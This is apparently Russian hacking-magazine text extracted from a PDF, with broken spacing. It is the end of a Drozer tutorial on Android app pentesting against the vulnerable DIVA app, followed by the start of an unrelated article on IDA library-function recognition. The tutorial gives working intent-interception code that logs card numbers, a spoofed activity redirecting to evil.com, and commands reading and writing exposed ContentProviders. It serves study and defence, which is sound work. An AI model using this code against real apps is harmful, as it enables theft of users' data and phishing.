его сде лать  то, что нам нуж но, через стан‐ 
дар тные API и каналы ком муника ции.

Drozer

Се год ня  Drozer  счи тает ся  уста рев шим  инс тру мен том,  но  он  до  сих  пор
отлично помога ет быс тро получить информа цию о при ложе нии и его сла бых
мес тах. Рекомен дуемый спо соб запус кать drozer — исполь зуя Docker:

 kengannonmwr/drozer_docker $ sudo docker run ‐it

Drozer  работа ет  в  связ ке  с  аген том,  уста нов ленным на  устрой стве  или  эму‐ 
лято ре, ска чать его мож но  . Его сле дует уста новить на устрой ство:здесь

adb  drozer‐agent‐2.3.4.apk $  install 

Да лее  запус каем  агент  и  нажима ем  кноп ку  Embedded  Server  вни зу  экра на.
Пос ле это го к сер веру мож но под клю чить ся, перей дя в кон соль Drozer:

 IP‐адрес‐телефона $ drozer console connect ‐‐server

Кон соль Drozer

В  качес тве  подопыт ного  при ложе ния  будем  исполь зовать    (Damn  Inse‐
cure  and  Vulnerable  App).  APK  не  име ет  циф ровой  под писи,  поэто му
перед  уста нов кой  его  необ ходимо  под писать,  нап ример  c  помощью 

.

DIVA

uber‐
apk‐signer

АКТИВНОСТИ
Ти пич ный  ворк флоу  Drozer  выг лядит  так.  Сна чала  получа ем  информа цию
об уста нов ленных при ложе ниях:

 

 
dz> run app.package.list

На ходим в спис ке подопыт ное при ложе ние и получа ем информа цию о нем:

 

 

 

dz> run app.package.info ‐a jakhar.aseem.diva

Package: jakhar.aseem.diva 
  Application Label: Diva 
  Process Name: jakhar.aseem.diva 
  Version: 1.0 
  Data Directory: /data/user/0/jakhar.aseem.diva 
  APK Path: /data/app/~~f‐ZUZleCLc6Lvv3kYkaeww==/jakhar.aseem.diva‐
GXTPCSZPceqRHtEWH73f1g==/base.apk 
  UID: 10423 
  GID: [3003] 
  Shared Libraries: [/system/framework/android.test.base.jar, 
/system/framework/org.apache.http.legacy.jar] 
  Shared User ID: null 
  Uses Permissions: 
  ‐ android.permission.WRITE_EXTERNAL_STORAGE 
  ‐ android.permission.READ_EXTERNAL_STORAGE 
  ‐ android.permission.INTERNET 
  ‐ android.permission.ACCESS_MEDIA_LOCATION 
  Defines Permissions: 
  ‐ None

За тем выяс няем, какие ком понен ты мож но попытать ся исполь зовать для экс‐ 
плу ата ции:

 

 

 

dz> run app.package.attacksurface jakhar.aseem.diva

Attack Surface: 
  3 activities exported 
  0 broadcast receivers exported 
  1 content providers exported 
  0 services exported 
    is debuggable

Об раща ем вни мание, что в при ложе нии вклю чен флаг отладки. Далее получа‐ 
ем спи сок активнос тей:

 

 

 

dz> run app.activity.info ‐a jakhar.aseem.diva

Package: jakhar.aseem.diva 
  jakhar.aseem.diva.MainActivity 
    Permission: null 
  jakhar.aseem.diva.APICredsActivity 
    Permission: null 
  jakhar.aseem.diva.APICreds2Activity 
    Permission: null

Про буем их запус тить:

 

 

dz> run app.activity.start ‐‐component jakhar.aseem.diva <имя_активнос‐ 
ти>

Смысл  это го  дей ствия  в  том,  что бы  про верить,  не  тор чат  ли  наружу  внут‐ 
ренние  активнос ти  при ложе ния,  которые  не  дол жны  быть  дос тупны  извне.
Воз можно, эти активнос ти содер жат кон фиден циаль ную информа цию.

Про веря ем:

 

 

dz> run app.activity.start ‐‐component jakhar.aseem.diva 
jakhar.aseem.diva.APICredsActivity

Дей стви тель но,  активность  APICredsActivity  содер жит  некий  ключ  API,  имя
поль зовате ля и пароль. Активность APICreds2Activity  содер жит окно с полем
для вво да ПИН‐кода.

Две активнос ти DIVA

Обе эти активнос ти явно дол жны исполь зовать ся толь ко внут ри при ложе ния,
но по «нев ниматель нос ти» раз работ чик забыл сде лать их неэк спор тиру емы‐ 
ми (android:exported="false").

Если активности не запускаются
На чиная  с  Android  9  запуск  активнос тей  в  фоне  зап рещен.  Поэто му,  что бы
Drozer  работал  кор рек тно,  сле ди  за  тем,  что бы  он  всег да  был  на  экра не,
а экран смар тфо на — вклю чен.

ПЕРЕХВАТ ИНТЕНТОВ
Еще инте рес нее, ког да прог раммист не толь ко забыва ет сде лать внут реннюю
активность при ложе ния неэк спор тиру емой, но и работа ет с ней не нап рямую,
а  исполь зуя  широко веща тель ные  интенты.  Допус тим,  в  при ложе нии  есть
такой код, который исполь зует широко веща тель ный интент "com.example.AC‐
TION", что бы запус тить активность  (передав ей при этом кон фиден циаль ные
дан ные):

       Intent intent = new Intent("com.example.ACTION");
 intent.putExtra("credit_card_number", num.getText().toString());

 intent.putExtra("holder_name", name.getText().toString());
startActivity(intent);

Проб лема это го кода в том, что любой жела ющий может соз дать активность,
реаги рующую на интент "com.example.ACTION", и перех ватить передан ные ей
дан ные.  Нап ример,  мы  можем  написать  при ложе ние  с  такой  активностью
в манифес те:

 <activity android:name=".EvilActivity">
     <intent‐filter android:priority="999">

          <action android:name="com.example.ACTION" />
          <category android:name="android.intent.category.DEFAULT" />

   </intent‐filter>
</activity>

В код этой активнос ти добавим логиро вание перех вачен ных кон фиден циаль‐ 
ных дан ных:

     Log.d("evil", "Number: " + getIntent().getStringExtra(
"credit_card_number"));

     Log.d("evil", "Holder: " + getIntent().getStringExtra("holder_name"))
;

Ву аля! Но с помощью Drozer про делать такой трюк еще про ще:

 

 
dz> run app.broadcast.sniff ‐‐action com.example.ACTION

Во обще, интенты — стан дар тный спо соб ком муника ции в Android как внут ри
при ложе ния, так и за его пре дела ми. Их мож но исполь зовать, что бы переда‐ 
вать  информа цию меж ду  активнос тями,  сер висами  и  любыми  дру гими  ком‐ 
понен тами  при ложе ния.  Интенты  могут  быть  адре сова ны  кон крет ному  ком‐ 
понен ту  или  быть  широко веща тель ными.  Перех ватить  пос ледние  может
любое дру гое при ложе ние, как в при мере выше.

ПЕРЕХВАТ ВОЗВРАЩАЕМОГО ЗНАЧЕНИЯ
В Android  активнос ти могут  воз вра щать  зна чения. Эта  воз можность исполь‐ 
зует ся,  нап ример,  в  интерфей се  выбора  фотог рафии  для  отправ ки  дру гу
или  в  интерфей се  выбора  фай ла.  При ложе ние  может  запус тить  свою
активность или активность любого дру гого при ложе ния (с помощью широко‐ 
веща тель ного интента),  что бы получить от нее какое‐либо зна чение. И если
при ложе ние  исполь зует  широко веща тель ный  интент  для  запус ка  собс твен‐ 
ной активнос ти — будут проб лемы.

Возь мем, к при меру, сле дующий код:

   startActivityForResult(new Intent("com.example.PICK"), 1337);

           
   

protected void onActivityResult(int requestCode, int resultCode,
Intent data) {
       super.onActivityResult(requestCode, resultCode, data);
                 if(requestCode == 1337 && resultCode == 1) {

        webView.loadUrl(data.getStringExtra("url"), getAuthHeaders())
;
   }
}

Это  код  запус ка  активнос ти  с  помощью  интента  .  Зна‐ 
чение, воз вра щен ное этой активностью, исполь зует ся как URL, что бы открыть
веб‐стра ницу внут ри WebView. Оче вид но, что в дан ном при мере интент 

  при меня ется  для  запус ка  собс твен ной  активнос ти  при ложе‐ 
ния,  одна ко,  как  и  в  пре дыду щем  при мере,  раз работ чик  исполь зовал
для  запус ка широко веща тель ный  интент.  Поэто му  мы можем  соз дать  собс‐ 
твен ную активность и перенап равлять при ложе ние на фишин говый веб‐сайт:

com.example.PICK

com.
example.PICK

 <activity android:name=".EvilActivity">
     <intent‐filter android:priority="999">

          <action android:name="com.victim.PICK" />
          <category android:name="android.intent.category.DEFAULT" />

   </intent‐filter>
</activity>

       protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);
         setResult(1, new Intent().putExtra("url", "http://evil.com/"));
   finish();
}

Ши роко веща тель ные интенты так же исполь зуют ся при ложе ниями для выбора
фай лов. В этом слу чае с помощью фишин говой активнос ти мож но выпол нять
ата ку типа directory traversal.

CONTENTPROVIDER
ContentProvider  —  это  спе циаль ный  ком понент  при ложе ния,  ответс твен ный
за  хра нение  дан ных  и  пре дос тавле ние  дос тупа  к  этим  дан ным  дру гим  при‐ 
ложе ниям.  В  ста рые  вре мена  (до  Android  4.0)  раз работ чики  час то  делали
ContentProvider’ы  откры тыми  для  дос тупа  любым  при ложе ниям.  Нап ример,
офи циаль ное  при ложе ние  Gmail  име ло  откры тый  ContentProvider,  пре дос‐ 
тавля ющий дос туп  к  спис ку  писем. Это  поз воляло  любому  сто рон нему  при‐ 
ложе нию получить спи сок пос ледних писем Gmail, нап рямую про читав дан ные
из офи циаль ного при ложе ния.

Се год ня такой под ход счи тает ся наив ным и небезо пас ным. Поэто му все,
что  на  сегод няшний  день  пре дос тавля ет  наружу  при ложе ние  Gmail,  —
это  общее  количес тво  неп рочитан ных  писем,  и  даже  эта  информа ция
защище на  спе циаль ным  раз решени ем.  В  этом  лег ко  убе дить ся,  если
попытать ся  про читать  дан ные  по  URI 

:
content://com.google.android.

gmail.provider

 

 

 

dz> run app.provider.query content://com.google.android.gmail.provider/

Permission Denial: opening provider com.android.email.provider.Email‐
Provider from ProcessRecord{5ae20cc 15638:com.mwr.dz:remote/u0a422} 
(pid=15638, uid=10422) requires com.google.android.gm.email.permis‐
sion.ACCESS_PROVIDER 
or com.google.android.gm.email.permission.ACCESS_PROVIDER

Но в дру гих при ложе ниях все может быть ина че. Вер немся к при ложе нию DIVA
и поп робу ем получить информа цию о его ContentProvider’ах:

 

 

 

dz> run app.provider.info ‐a jakhar.aseem.diva

Package: jakhar.aseem.diva 
  Authority: jakhar.aseem.diva.provider.notesprovider 
    Read Permission: null 
    Write Permission: null 
    Content Provider: jakhar.aseem.diva.NotesProvider 
    Multiprocess Allowed: False 
    Grant Uri Permissions: False

Вид но,  что  при ложе ние  име ет  один  никак  не  защищен ный  ContentProvider.
Получим информа цию об экспор тиру емых ContentProvider’ом URI:

 

 

 

 

dz> run scanner.provider.finduris ‐a jakhar.aseem.diva

Scanning jakhar.aseem.diva... 
Able to Query    
content://jakhar.aseem.diva.provider.notesprovider/notes/ 
Unable to Query  content://jakhar.aseem.diva.provider.notesprovider 
Unable to Query  content://jakhar.aseem.diva.provider.notesprovider/ 
Able to Query    
content://jakhar.aseem.diva.provider.notesprovider/notes

Accessible content URIs: 
  content://jakhar.aseem.diva.provider.notesprovider/notes/ 
  content://jakhar.aseem.diva.provider.notesprovider/notes

Поп робу ем про читать информа цию по при веден ным URI:

 

 

 

dz> run app.provider.query 
content://jakhar.aseem.diva.provider.notesprovider/notes/

 
 
 
 
 
 

| _id | title    | note                                 |
| 5   | Exercise | Alternate days running               |
| 4   | Expense  | Spent too much on home theater       |
| 6   | Weekend  | b333333333333r                       |
| 3   | holiday  | Either Goa or Amsterdam              |
| 2   | home     | Buy toys for baby, Order dinner      |
| 1   | office   | 10 Meetings. 5 Calls. Lunch with CEO |

ContentProvider, по сути, откры вает пря мой дос туп к базе дан ных при ложе ния.
Поэто му,  если  он  открыт  для  чте ния  и  записи,  мы  лег ко  можем  добавить
в него собс твен ные дан ные:

 

 

 

 

dz> run app.provider.insert 
content://jakhar.aseem.diva.provider.notesprovider/notes

   ‐‐integer _id 7
   ‐‐string title xakep.ru
       ‐‐string note 'Hi from ]['

dz> run app.provider.query 
content://jakhar.aseem.diva.provider.notesprovider/notes/

... 
| 7   | xakep.ru | Hi from ][                           |

В ряде  слу чаев  воз можно  выпол нить  SQL‐инъ екцию. Drozer  спо собен  авто‐ 
мати чес ки про верить при ложе ние на эту уяз вимость:

 

 
dz> run scanner.provider.injection ‐a com.example.app

Не кото рые  при ложе ния  исполь зуют ContentProvider’ы,  что бы откры вать  дос‐ 
туп  к  фай лам  сво его  при ват ного  катало га.  В  этом  слу чае  иног да  воз можно
выпол нить ата ку directory traversal. Drozer поз воля ет про верить и этот вари ант:

 

 
dz> run scanner.provider.traversal ‐a com.example.app

СЕРВИСЫ
Еще один тип ком понен тов при ложе ния в Android — сер висы. Чаще все го они
исполь зуют ся для  выпол нения работы в фоне и  в  сов ремен ных  вер сиях An‐
droid обя заны иметь икон ку в стро ке сос тояния (ина че сис тема убь ет сер вис
через  пять  минут).  У  при ложе ния  DIVA  нет  сер висов,  это  лег ко  про верить
с помощью такой коман ды:

 

 

 

dz> run app.service.info ‐a jakhar.aseem.diva

Package: jakhar.aseem.diva 
  No exported services.

Но  даже  при ложе ния  с  тор чащим  наружу  сер висом  экс плу ати ровать  не  так
прос то.  Обыч но  сна чала  необ ходимо  дизас сем бли ровать/деком пилиро вать
при ложе ние,  про ана лизи ровать  код  сер виса,  а  затем  поп робовать  пос лать
ему сооб щение, которое он пой мет и обра бота ет.

Нап ример,  типич ный  при мер  отправ ки  сооб щения  сер вису  может  выг‐ 
лядеть так:

 

 

dz> run app.service.send com.mwr.example.sieve com.mwr.exam‐
ple.sieve.AuthService ‐‐msg 6345 7452 1 ‐‐extra string com.mwr.exam‐
ple.sieve.PASSWORD "abcdabcdabcdabcd" ‐‐bundle‐as‐obj

ДРУГИЕ ВОЗМОЖНОСТИ
Крат ко прой дем ся по дру гим воз можнос тям Drozer.

Отоб ражение манифес та при ложе ния:

 

 
dz> run app.package.manifest com.mwr.example.sieve

По иск при ложе ний, обла дающих ука зан ными пол номочи ями:

 

 
dz> run app.package.list ‐p android.permission.INSTALL_PACKAGES

По иск при ложе ний с ука зан ным UID:

 

 
dz> run app.package.list ‐u 1000

По иск при ложе ний, спо соб ных отоб ражать фай лы с ука зан ным mimetype:

 

 

dz> run app.activity.forintent ‐‐action android.intent.action.VIEW ‐‐
mimetype application/pdf

По иск всех при ложе ний, спо соб ных откры вать ссыл ки:

 

 
dz> run scanner.activity.browsable

Отоб ражение спис ка натив ных биб лиотек при ложе ния:

 

 
dz> run app.package.native jakhar.aseem.diva

От прав ка широко веща тель ных интентов:

 

 

dz>  run app.broadcast.send ‐‐action com.exmpla.PICK ‐‐extra string url 
https://example.com

БОНУС
Ка кие еще проб лемы и уяз вимос ти мож но най ти в при ложе ниях? Их мно жес‐ 
тво, авто ры работы   сос тавили под робный
спи сок таких проб лем. Они взя ли 700 откры тых при ложе ний из репози тория

  и  про ана лизи рова ли  их  с  помощью  спе циаль ного  инс тру мен та 
.

Security Code Smells in Android ICC

F‐Droid An‐
droidLintSecurityChecks

Все проб лемы ском понова ны в две над цать катего рий:
  В  Android  есть  механизм,  поз воля‐ 

ющий  пре дос тавить  дру гому  при ложе нию  вре мен ный  дос туп
к  какому‐либо  URI  сво его  ContentProvider’а.  Это  дела ется  с  помощью
метода  .  Если  при ложе ние  вызыва ет
его, но не вызыва ет  , что бы отоз вать
дос туп, — есть проб лемы.

• SM01:  Persisted  Dynamic  Permission.

Context.grantUriPermission()

Context.revokeUriPermission()

  Любое  при ложе ние  может  зарегис три‐ 
ровать  собс твен ную  URI‐схе му,  такую  как  ,  вне  зависи мос ти
от  того,  исполь зует  ли  такую  схе му  дру гое  при ложе ние.  Как  следс твие,
пересы лать  важ ные  дан ные,  исполь зуя  кас томные  URI‐схе мы,  край не
небезо пас но.

• SM02:  Custom  Scheme  Channel.
myapp://

 В Android любое при ложе ние может соз‐ 
дать свое собс твен ное раз решение для дос тупа к сво им дан ным. Но есть
проб лема: если ука зать неп равиль ный уро вень защиты раз решения  (pro‐
tection level), оно может не сра ботать. Если раз работ чик хочет, что бы поль‐ 
зователь видел диалог зап роса раз решений, он дол жен исполь зовать уро‐ 
вень  защиты  dangerous  или  siganture,  если  дан ное  раз решение  дол жно
получать толь ко при ложе ние с той же циф ровой под писью.

• SM03:  Incorrect Protection Level.

 Любое при ложе ние в Android может зарегис три‐ 
ровать себя в качес тве обра бот чика опре делен ных типов интентов (intent).
По  умол чанию  этот  обра бот чик  будет  открыт  все му  миру,  но  его  мож но
защитить с помощью сис темы раз решений и стро гой валида ции вход ных
дан ных.

• SM04: Unauthorized Intent.

  Любое  при ложе ние  может  пос лать  дру гому  при‐ 
ложе нию  интент.  Более  того,  оно  может  пос лать  широко веща тель ный
интент сра зу всем при ложе ниям, и он будет обра ботан пер вым при ложе‐ 
нием,  спо соб ным  его  при нять.  Но  есть  так же  воз можность  пос лать
широко веща тель ный  sticky‐intent,  который  пос ле  обра бот ки  одним  при‐ 
ложе нием  все  рав но  будет  дос тавлен  дру гим  при ложе ниям.  Что бы  это го
не про исхо дило, не сто ит исполь зовать такие интенты, а широко веща тель‐ 
ные интенты луч ше не исполь зовать вооб ще.

• SM05:  Sticky  Broadcast.

  Ком понент  WebView  поз воля ет  при ложе ниям
показы вать  веб‐стра ницы  внут ри  сво его  интерфей са.  По  умол чанию  он
никак не филь тру ет откры ваемые URL,  чем мож но вос поль зовать ся,  нап‐ 
ример, для фишин га. Раз работ чикам сто ит либо исполь зовать белый спи‐ 
сок адре сов, либо выпол нять про вер ку с помощью SafetyNet API.

• SM06:  Slack WebViewClient.

 При ложе ния могут пре дос тавлять дос туп
к  сво ей фун кци ональ нос ти  с  помощью  сер висов.  Зло умыш ленник  может
исполь зовать  эту  воз можность  для  запус ка  кода  с  повышен ными  пол‐ 
номочи ями  (пол номочи ями сер виса). Что бы это го избе жать, сер вис дол‐ 
жен про верять пол номочия вызыва юще го при ложе ния с помощью метода

.

• SM07: Broken Service Permission.

Context.checkCallingPermission()

  Некото рые  при ложе ния  пре дос тавля ют
дос туп  к  сво им  дан ным  с  помощью  ContentProvider’а,  который  адре сует
дан ные,  исполь зуя  UNIX‐подоб ные  пути:  .  Прог раммист  может
открыть дос туп к сво ему ContentProvider’у, но отре зать дос туп к некото рым
путям (нап ример, к  ). Но есть проб лема: раз работ чики час‐ 
то исполь зуют класс UriMatcher для срав нения путей, а он, в отли чие от An‐
droid, срав нива ет их без уче та двой ных сле шей. Отсю да могут воз никнуть
ошиб ки при раз решении и зап рете дос тупа.

• SM08:  Insecure  Path  Permission.

/a/b/c

/data/secret

  Сход ная  с  пре дыду щей  проб‐ 
лема.  При  опи сании  ContentProvider’а  в  манифес те  раз работ чик  может
ука зать,  какие раз решения нуж ны при ложе нию для дос тупа  к опре делен‐ 
ным  путям.  Но  в  Android  есть  баг,  из‐за  чего  он  отда ет  пред почте ние
более  гло баль ным  путям.  Нап ример,  если  при ложе ние  дает  дос туп  к 

 всем под ряд, но исполь зует спе циаль ное раз решение для дос тупа
к  , то в ито ге дос туп к   смо гут получить все.

• SM09:  Broken  Path  Permission  Precedence.

/data

/data/secret /data/secret

 Фак тичес ки ана лог проб лемы SM04,
но  рас простра няющий ся  исклю читель но  на  BroadcastReceiver’ы  (спе‐ 
циаль ные обра бот чики интентов).

• SM10: Unprotected BroadcastReceiver.

  Кро ме  интентов,  в  Android  есть  сущ ность
под  наз вани ем  PendingIntent.  Это  сво его  рода  отло жен ные  интенты,
которые  могут  быть  отправ лены  поз же  и  даже  дру гим  при ложе нием
от име ни соз давше го интент при ложе ния. Если PendingIntent широко веща‐ 
тель ный, то любое при ложе ние смо жет перех ватить его и пос лать интент
от име ни это го при ложе ния.

• SM11:  Implicit  PendingIntent.

 Ана лог проб лемы StrandHogg.• SM12: Common Task Affinity.

Об щая рас простра нен ность оши бок

В  работе  так же  при водит ся  мно жес тво  ана лити чес ких  дан ных.  Нап ример,
сог ласно ста тис тике, в новых при ложе ниях мень ше дыр, чем в ста рых. Боль‐ 
ше дыр так же в при ложе ниях, которые раз рабаты вают более пяти человек. Ну
и  конеч но  же:  боль шее  количес тво  кода  озна чает  боль шее  количес тво  уяз‐ 
вимос тей.

При меры оши бок  так же мож но най ти  в репози тории 
.  Он  содер жит  исходни ки  при ложе ний  с  раз личны ми  уяз‐ 

вимос тями, каж дое из которых снаб жено под робным опи сани ем уяз вимос ти
и исправ ленной вер сией.

android‐app‐vulnera‐
bility‐benchmarks

ВЫВОДЫ
Как видишь, нес мотря на поч тенный воз раст, Drozer до сих пор справ ляет ся
со  сво ей  работой  луч ше  мно гих  дру гих  инс тру мен тов.  Его  явное  дос тоинс‐ 
тво  —  тек сто вый  интерфейс,  поз воля ющий  с  помощью  команд  выпол нить
мно гие  задачи,  для  которых  в  про тив ном слу чае  приш лось бы  писать  собс‐ 
твен ный  софт.  Недос таток  в  том  же —  не  все  спо соб ны  перева рить  такой
интерфейс в 2020 году.

mailto:zobnin@glc.ru
https://github.com/mwrlabs/drozer
https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk
https://github.com/tjunxiang92/Android-Vulnerabilities/raw/master/diva-beta.apk
https://github.com/patrickfav/uber-apk-signer
https://arxiv.org/pdf/1811.12713.pdf
https://f-droid.org/en/
https://github.com/pgadient/AndroidLintSecurityChecks
https://bitbucket.org/secure-it-i/android-app-vulnerability-benchmarks/overview
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ВЗЛОМ

Биб лиотеч ный  код  может  сос тавлять  льви ную  долю  прог‐ 
раммы. Ясное дело, ничего инте рес ного этот код не содер‐ 
жит.  Поэто му  его  ана лиз  с  пол ной  уве рен ностью  мож но
опус тить. Незачем тра тить на него наше дра гоцен ное вре мя.
Одна ко  как  быть,  если  дизас сем блер  неп равиль но  рас‐ 
познал име на фун кций? Что, при дет ся изу чать мно готон ный
лис тинг  самос тоятель но?  У  хакеров  есть  про верен ные
методы решения подоб ных проб лем — об этих методах мы
сегод ня и погово рим.

Фундаментальные основы хакерства
Пят надцать  лет  назад  эпи чес кий  труд  Кри са  Кас пер ски  «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова‐ 
теля  в  области  компь ютер ной  безопас ности. Одна ко  вре мя  идет,  и  зна ния,
опуб ликован ные  Кри сом,  теря ют  акту аль ность.  Редак торы  «Хакера»  попыта‐ 
лись  обно вить  этот  объ емный  труд  и  перенес ти  его  из  вре мен  Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на  .стра нице авто ра

Чи тая  текст  прог раммы,  написан ный  на  язы ке  высоко го  уров ня,  мы  толь ко
в  исклю читель ных  слу чаях  изу чаем  реали зацию  стан дар тных  биб лиотеч ных
фун кций,  таких,  нап ример,  как  .  Да  и  зачем?  Ее  наз начение  хорошо
извес тно,  а  если  и  есть  какие  неяс ности —  всег да  мож но  заг лянуть  в  опи‐ 
сание...

printf

Ана лиз  дизас сем блер ного  лис тинга  —  дело  дру гое.  Име на  фун кций,
за ред кими исклю чени ями, в нем отсутс тву ют, и опре делить,   это или
что‐то дру гое, «на взгляд» невоз можно. При ходит ся вни кать в алго ритм... Лег‐ 
ко ска зать — вни кать! Та же   пред став ляет собой слож ный интер пре‐ 
татор стро ки спе цифи като ров — с  ходу  в  нем не раз берешь ся! А  ведь есть
и  более  монс тру озные  фун кции.  Самое  обид ное  —  алго ритм  их  работы
не име ет никако го отно шения к ана лизу иссле дуемой прог раммы. Тот же 
может  и  выделять  память  из  Windows‐кучи,  и  реали зовы вать  собс твен ный
менед жер, но нам‐то от это го что? Дос таточ но знать, что это имен но  , то
есть фун кция выделе ния памяти, а не   или, ска жем,  .

printf

printf

new

new
free fopen

До ля  биб лиотеч ных  фун кций  в  прог рамме  в  сред нем  сос тавля ет
от  пятиде сяти  до  девянос та  про цен тов.  Осо бен но  она  велика  у  прог рамм,
сос тавлен ных в визу аль ных сре дах раз работ ки, исполь зующих авто мати чес‐ 
кую генера цию кода  (нап ример, Microsoft Visual Studio, Delphi). При чем биб‐ 
лиотеч ные фун кции под час нам ного слож нее и запутан нее три виаль ного кода
самой  прог раммы.  Обид но,  льви ная  доля  уси лий  на  ана лиз  тра тит ся  впус‐ 
тую... Как бы опти мизи ровать это?

НА ПОМОЩЬ ВНОВЬ ПРИХОДИТ IDA
Уни каль ная  спо соб ность  IDA  раз личать  стан дар тные биб лиотеч ные фун кции
мно жес тва ком пилято ров выгод но отли чает ее от боль шинс тва дру гих дизас‐ 
сем бле ров, это го делать не уме ющих. К сожале нию, IDA (как и все, соз данное
челове ком) далека от иде ала: каким бы обширным ни был спи сок под держи‐ 
ваемых биб лиотек, кон крет ные вер сии кон крет ных пос тавщи ков или моделей
памяти могут отсутс тво вать. И даже из тех биб лиотек, что ей извес тны, рас‐ 
позна ются не все фун кции (о при чинах будет рас ска зано чуть поз же).

Впро чем,  нерас познан ная  фун кция  —  это  пол беды,  неп равиль но  рас‐ 
познан ная фун кция — мно го хуже, ибо это при водит к ошиб кам (иног да труд‐ 
ноуло вимым)  в  ана лизе  иссле дуемой  прог раммы  или  ста вит  иссле дова теля
в  глу хой  тупик.  Нап ример,  вызыва ется    и  воз вра щен ный  ею  резуль тат
спус тя  некото рое  вре мя  переда ется    —  с  одной  сто роны:  почему  бы
и нет? Ведь    воз вра щает  ука затель  на  струк туру  ,  а    ее  уда‐ 
ляет.  А  если    вов се  не  ,  а,  ска жем,  ?  Про пус тив  опе рацию
позици они рова ния, мы не смо жем пра виль но вос ста новить струк туру фай ла,
с которым работа ет прог рамма.

fopen
free

fopen FILE free
free free fseek

ОПОЗНАНИЕ ФУНКЦИЙ
Рас познать  ошиб ки  IDA  будет  лег че,  если  пред став лять,  как  имен но  она
выпол няет рас позна вание. Мно гие почему‐то счи тают, что здесь задей ство‐ 
ван  три виаль ный под счет CRC  (кон троль ной сум мы). Что ж, под счет CRC —
заман чивый  алго ритм,  но,  увы,  для  решения  дан ной  задачи  он  неп ригоден.
Основной  камень  прет кно вения  —  наличие  непос тоян ных  фраг ментов,
а  имен но  переме щаемых  эле мен тов.  И  хотя  при  под сче те  CRC  переме‐ 
щаемые  эле мен ты мож но  прос то  игно риро вать  (не  забывая  про делы вать  ту
же опе рацию и в иден тифици руемой фун кции), раз работ чик  IDA пошел дру‐ 
гим, более запутан ным и вити ева тым, но и более про изво дитель ным путем.

Клю чевая  идея  зак люча ется  в  том,  что  незачем  тра тить  вре мя  на  вычис‐ 
ление  CRC.  Для  пред варитель ной  иден тифика ции  фун кции  впол не  сой дет
и три виаль ное посим воль ное срав нение, за вычетом переме щаемых эле мен‐ 
тов (они игно риру ются и в срав нении не учас тву ют). Точ нее говоря, не срав‐ 
нение, а поиск задан ной пос ледова тель нос ти бай тов в эта лон ной базе, орга‐ 
низо ван ной в виде дво ично го дерева. Вре мя дво ично го поис ка, как извес тно,
про пор циональ но  логариф му  количес тва  записей  в  базе.  Здра вый  смысл
под ска зыва ет,  что  дли на  шаб лона  (ина че  говоря,  сиг натуры,  то  есть  срав‐ 
нива емой  пос ледова тель нос ти)  дол жна  быть  дос таточ ной  для  однознач ной
иден тифика ции фун кции. Одна ко раз работ чик IDA по непонят ным для авто ров
при чинам решил огра ничить ся толь ко пер выми трид цатью дву мя бай тами, что
(осо бен но  если  вычесть  про лог,  который  у  всех  фун кций  прак тичес ки  оди‐ 
наков) доволь но мало.

И  вер но! Мно гие фун кции  попада ют  на  один  и  тот  же  лист  дерева,  воз‐ 
ника ет кол лизия — неод нознач ность отож дест вле ния. Для раз решения ситу‐ 
ации у всех «кол лизи онных» фун кций под счи тыва ется CRC16 с трид цать вто‐ 
рого  бай та  до  пер вого  переме щаемо го  эле мен та  и  срав нива ется
с CRC16 эта лон ных фун кций. Чаще все го это сра баты вает, но, если пер вый
переме щаемый  эле мент  ока жет ся  рас положен ным  слиш ком  близ ко  к  трид‐ 
цать  вто рому  бай ту,  пос ледова тель ность  под сче та  кон троль ной  сум мы  ока‐ 
жет ся слиш ком корот кой, а то и вов се рав ной нулю (может же быть трид цать
вто рой  байт  переме щаемым  эле мен том,  почему  бы  и  нет?).  В  слу чае  пов‐ 
торной  кол лизии  находим  в  фун кци ях  байт,  в  котором  все  они  отли чают ся,
и запоми наем его сме щение в базе.

Все  это  (да  прос тит  авто ров  раз работ чик  IDA!)  напоми нает  сле дующий
анек дот. 

  Так  и  с  IDA,  посим воль ное  срав‐ 
нение не до кон ца, а толь ко трид цати двух бай тов, под счет CRC не для всей
фун кции,  а  сколь ко  слу чай  на  душу  положит,  наконец,  пос ледний  клю чевой
байт — и тот‐то «клю чевой», да не сов сем. Дело в том, что мно гие фун кции
сов пада ют байт в байт, но совер шенно раз личны по наз ванию и наз начению.
Не веришь? Тог да как тебе пон равит ся сле дующее:

Пой мали тузем цы нем ца, аме рикан ца и укра инца и говорят им: мол,
или  отку пай тесь  чем‐нибудь,  или  съедим.  На  откуп  пред лага ется:  мил лион
дол ларов  (толь ко  не  спра шивай те,  зачем  тузем цам  мил лион  дол ларов,  —
может,  кос тер жечь), сто щел банов или съесть мешок соли. Ну, аме рика нец
дос тает сотовый, зво нит кому‐то... Прип лыва ет катер с мил лионом дол ларов,
и аме рикан ца бла гопо луч но отпуска ют. Немец в это вре мя геро ичес ки съеда‐ 
ет мешок соли, и его полумер тво го спус кают на воду. Укра инец же ел соль,
ел‐ел,  две  тре ти  съел,  не  выдер жал  и  говорит:  а,  лад но,  чер ти,  бей те щел‐ 
баны. Бьет вождь его, и толь ко девянос то уда ров отщелкал, тот не выдер жал
и  говорит:  да  нате  мил лион,  подави тесь!

read:                                      write:
               sub rsp, 28h                               sub rsp, 28h
           call _read                                 call _write
               add rsp, 28h                               add rsp, 28h

    retn                                        retn

Тут без ана лиза переме щаемых эле мен тов никак не обой тись! При чем это не
какой‐то спе циаль но надуман ный при мер — подоб ных фун кций очень мно го.
В  час тнос ти,  биб лиоте ки  от  Embarcadero  (в  прош лом  от  Borland)  ими  так
и кишат. Поэто му в былые вре мена IDA час то «спо тыка лась» и впа дала в гру‐ 
бые ошиб ки. Тем не менее сей час IDA замет но воз мужала и уже не стра дает
дет ски ми  боляч ками.  Для  при мера  скор мим  ком пилято ру  C++Builder  такую
фун кцию:

 void demo()
    {
       printf("DERIVED\n");
    }

Пос ледняя вер сия IDA сей час 7.4, меж ду тем я исполь зую IDA 7.2, и она чаще
все го успешно рас позна ет поч ти любые фун кции. В нашем слу чае резуль тат
выг лядит сле дующим обра зом:

       .text:0000000140001000 void demo(void) proc near
            .text:0000000140001000                 sub rsp, 28h
                 .text:0000000140001004                 lea rcx, _Format
; "DERIVED\n"
         .text:000000014000100B                 call printf
            .text:0000000140001010                 add rsp, 28h
    .text:0000000140001014                 retn
